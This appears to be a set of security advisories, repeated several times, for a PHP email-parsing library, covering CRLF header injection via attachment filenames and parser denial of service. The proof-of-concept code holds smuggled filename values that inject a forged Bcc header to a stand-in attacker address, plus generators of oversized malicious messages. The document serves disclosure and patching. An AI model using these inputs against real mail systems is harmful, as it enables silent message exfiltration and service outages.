Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
